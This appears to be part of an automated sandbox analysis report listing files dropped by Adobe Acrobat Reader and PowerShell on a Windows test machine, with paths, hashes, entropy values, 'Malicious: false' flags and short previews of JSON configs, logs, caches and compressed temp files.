SHA1:	B772D7148714ED927D780F7B216ADFAE0B193D6F
SHA-256:	FB2D66E2D35AFD510D6E5954AD1F3C3EF8B2DC47524D92625BC0D771EF9F3A32
SHA-512:	6696606F88148264F56D0CAD80473C8408205D00B75883441FA20AEDBA6712B94705FF86A8C3AEFB73BE193DBC7185058CE715C2AD89FD2B28ADC17BF1A8CE41
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655640112180553
Encrypted:	false
SSDEEP:	24:Yv6XzSiWamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSc:YvCYBgkDMUJUAh8cvMc
MD5:	CC8854B1FE73EA318228ED53A5182848
SHA1:	98DAD546F2DC062634DFB76AC54C444A4B70EAAC
SHA-256:	9D32B18D9AE50AC33AD2FEE11ECFFF8D6018A5958C7B6FED638939D359061FBE
SHA-512:	AB3AD9749F54C02FAF1F2D65A8B8F13610CCFAA9414FD85D8AE1A1237751450815F0A06F1102C8A42CFAF44EB85038AB567F2D216BBA8C625293B4E5C4B0A336
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.224700654301026
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPA7W/sEo7+FIbRI6XVW7+0Y7oAvJfshHHrPeUkwRe9:YvXKXL/ayYpW7FGUUUkee9
MD5:	5F048A6075BFEA2FC87AE05D16438C99
SHA1:	F1EC56F4698D41A15A2AA3C5DDFB8E1A66EAD0D5
SHA-256:	88609A5917AC53B48E7D9EA1F3E16849E557840F87690D2467634ACDED1C08B9
SHA-512:	77DC4E026486A3E48F3DCE75CED36B9CEE68739757F27C2AABEE78FA561DDFA8ED4F4498D8FF8E2B99D51048CE7A866D03391347A7B112AE82B94454A1517D73
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.233814237101884
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPA7W/sEo7+FIbRI6XVW7+0Y7oAvJTqgFCrPeUkwRe9:YvXKXL/ayYpW7FGTq16Ukee9
MD5:	40BB0E91FDEABF40C40F0752014B1DF5
SHA1:	85DD93D1C7E1CC9D3A9C734009D8699D63A76A8E
SHA-256:	7161BB389F15FB6F81E94B43C08792E4683B8D722011E98F645ED1FF64308ADC
SHA-512:	FAF9A677EDA77788B0D3925543CB29D52083C8D218C416113EF17AFAE0ECB70D4DCAA2E67D01178CB8CCC211185061587B04597203BF55374AD0AC58C5DB7D57
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.130696075971239
Encrypted:	false
SSDEEP:	24:Y24cEHWaWXCaya9tbdem6iZ3B2RIHS2gO2LSAPRuzhCiv0bRGefjRw63j0SAuvmi:Y7in3emz3BcjOk+F8bR5ZvvUQIIaC294
MD5:	BFD19C803ACAD4BBF084AF9AE9DCBC8A
SHA1:	A87A632AA75702D57F5272780344C7FF2C5478C5
SHA-256:	81505D3B4D861FADF46F246561258B3774200C5F8D1CF2A645F9309BDF13E94B
SHA-512:	CA4340BE0977A58DDFA656B013E41599EDE6C9A34B4EBAC741A65F5C1B5CD5789DE2F84877678EA82E0E2F9296D8B812F8B1E85B8540C0F37656EC8C98479EF0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"65754e595c6cde93941e99db156a1994","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736550594000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"fe6f20f1a74d0b789f69e69d0dcdfcb1","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736550594000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8ff318fccf7ee68527a85e92d94c7d37","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736550594000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"4d015e8557b1ffc093d27e9175b151fb","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736550594000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"fcc26f2e8339f2a817208c16c201385d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736550594000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3e5fd2f1622fd0207ed3ad95b7a04a84","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9859243758925118
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpU4zJwtNBwtNbRZ6bRZ4JF:TVl2GL7ms6ggOVp/zutYtp6P6
MD5:	620B3CE0C139735D246B16AC875366FC
SHA1:	AC6A060273B1495386F64E766B0CD3364B87B5C9
SHA-256:	373067BBB053613E598446C36FE930D68FB6E341141AD0D97938A186D428E413
SHA-512:	09D021703F6BB814CE553713E6981790170091874D31C65DCF475F28160932B89FEE5F02034D0838ADD7CD6C3984CFB207C7BA05CD7F6F7EA468577A5C15C5D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3376686741685357
Encrypted:	false
SSDEEP:	24:7+tbvAD1RZKHs/Ds/SpUPzJwtNBwtNbRZ6bRZWf1RZKXqLBx/XYKQvGJF7urs+t:7MLGgOVpIzutYtp6PMGqll2GL7ms+t
MD5:	3E4CCA8CAB199C026B71455D590C6BDF
SHA1:	C189858A1A91B866DF9840788A7CDDAE453EE5D0
SHA-256:	0F23016F03DE1BCA0125C176562900481EE29E60460A8934BD18BED536AC323A
SHA-512:	B59292C33A51E87A70CBCC4A3AF4055E4C0FF3C20BD6A1BFA46D9F42BFC0E63B7A8D06182F958FE8482633D4C7CFFCCC18F6506459D2426A44C4E5960AED5150
Malicious:	false
Preview:	.... .c.....v.a.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgnFDcMaUIIxbv93+CzbBtmkbYaYyu:6a6TZ44ADEnFDraUIIxbN+8vK
MD5:	E459CF517A62120D8BB73CFDC7D7841A
SHA1:	94535CE3978185786CACD634E575D7211E07FFC3
SHA-256:	FE347B0ABD1C4B320B58C79DFD35AC93BCA60885EAFDEECCC88B070EB278F1F0
SHA-512:	141737E8D62D8C4FA49FFD03F07CB6B84F5B4B39A33A7C05173DBBA819AAFC902EF16BF4DD4EF24136C91E29A70D0FF2D1B1D22F1BABA117CC9D6A5C8B0CBF6A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI3bb2e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.513199765407527
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEFSnKw:Qw946cPbiOxDlbYnuRK+bDzw
MD5:	2759E35070AE187BC3EBDBA910D4A85C
SHA1:	1ADC8404AA743A60999C409DEBD41C678AFED493
SHA-256:	D92848CCC719F39E3F8C703D9F68A76907480661A968088A1A0653B1D5785832
SHA-512:	0FF36B1159492B2F59DB56074EA7B88EF3CC53AA301ED67FFEEAD6365FC32310A90400159AE4A8D3309BC4CA6188637E6D9668C4FB2412AC02BDC0FE7AFA76BF
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.8.:.0.9.:.5.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_du2idnc5.yru.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_emior2du.kfb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 18-09-49-259.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15112
Entropy (8bit):	5.351754756288901
Encrypted:	false
SSDEEP:	384:1NT4L1yFyLqMj3QLbvPeaD/6fEZJMe+NiRVfZRvRRo2mpocnJYYX5k5ItvNMJeWr:fdN
MD5:	4EB57155E0B0347BE0E7DD5317CEF9A8
SHA1:	DE0DFB178120C799F6E8D78F800C0FD0D35B3114
SHA-256:	89822386D8805E5A4627D5851E495C2BBF12214797CEE581B9B1CAB9B224CE3A
SHA-512:	44467707B8FEFFE58CD5D6037D37FA688CE5796CC3755A1E52F7624675499DC1169371AB03B4E6C6E0EAE4FE462040E6A4E7AD9119E48D9470373001B77914C9
Malicious:	false
Preview:	SessionID=8d9d8871-bd2c-4a20-949f-f9c811a8438e.1736550589280 Timestamp=2025-01-10T18:09:49:280-0500 ThreadID=7476 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8d9d8871-bd2c-4a20-949f-f9c811a8438e.1736550589280 Timestamp=2025-01-10T18:09:49:302-0500 ThreadID=7476 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8d9d8871-bd2c-4a20-949f-f9c811a8438e.1736550589280 Timestamp=2025-01-10T18:09:49:302-0500 ThreadID=7476 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8d9d8871-bd2c-4a20-949f-f9c811a8438e.1736550589280 Timestamp=2025-01-10T18:09:49:302-0500 ThreadID=7476 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8d9d8871-bd2c-4a20-949f-f9c811a8438e.1736550589280 Timestamp=2025-01-10T18:09:49:302-0500 ThreadID=7476 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.402984275962088
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbQ:j4
MD5:	6A1082CFFE22AA4B5CF70A4A88A9AF9C
SHA1:	02E288988E0CFD59754E11A4E445FF9AA4298645
SHA-256:	7726786A3C188878CD2933C22D2ACC3374879E40164133355C8D90E202F2FF6E
SHA-512:	A0ED05B961D8A37B7464BA04D50DB659CE5C5F92402EF73A244D24B0414730B426384B841E995F124A550CE773AD5364910B2ECAC5FCD7269A7603C4AC76AEC5
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\25f1bafe-0ae6-4077-9636-557fa7d6daad.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8faa7faa-5868-415d-ba18-4a9d97d13889.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\98cd810a-b51d-4098-86b0-e3d60eb44bfa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c95094ba-643d-4963-a7de-62c2989873b6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
